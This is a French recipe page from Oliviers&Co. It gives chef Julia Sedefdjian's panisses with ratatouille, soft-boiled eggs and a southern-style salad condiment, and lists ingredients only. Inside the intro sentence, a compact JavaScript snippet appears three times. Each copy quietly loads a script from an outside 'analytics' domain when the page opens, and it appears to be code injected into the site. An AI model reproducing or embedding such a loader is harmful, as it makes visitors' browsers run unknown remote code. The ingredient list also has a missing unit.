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Découvrez une recette de la Chef étoilée Julia Sedefdjian avec des produits Oliviers&Co !;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

Ingredients:

Pour 4 personnes:

Temps de préparation : 45 minutes

Temps de repos : 2 heures

Panisses :

• 250 de farine de pois chiche
• 500 g d’eau
• 2 gousses d’ail
• Sel
• Mélange de poivres Oliviers&Co
• 8 cl d’Huile d’olive Grand Cru Monva Oliviers&Co

Ratatouille :

• 2 oignons
• 3 courgettes
• 3 aubergines
• 1 poivron rouge
• 2 tomates cœur de bœuf
• 2 gousses d’ail
• 2 branches de thym
• Huile d’olive Grand Cru Monva Oliviers&Co
• 4 œufs mollets

Condiment du Sud :

• 1 endive rouge
• 200 g de mesclun
• 200 g de tomate cerise
• 1 botte de cébettes
• 4 radis
• Huile d’olive Grand Cru Monva Oliviers&Co
• Douceur de vinaigre  de framboise Oliviers& Co

Dressage :

• Zestes de citron
• Sablon de tomate Oliviers&Co
• Huile d’olive Monva Oliviers&Co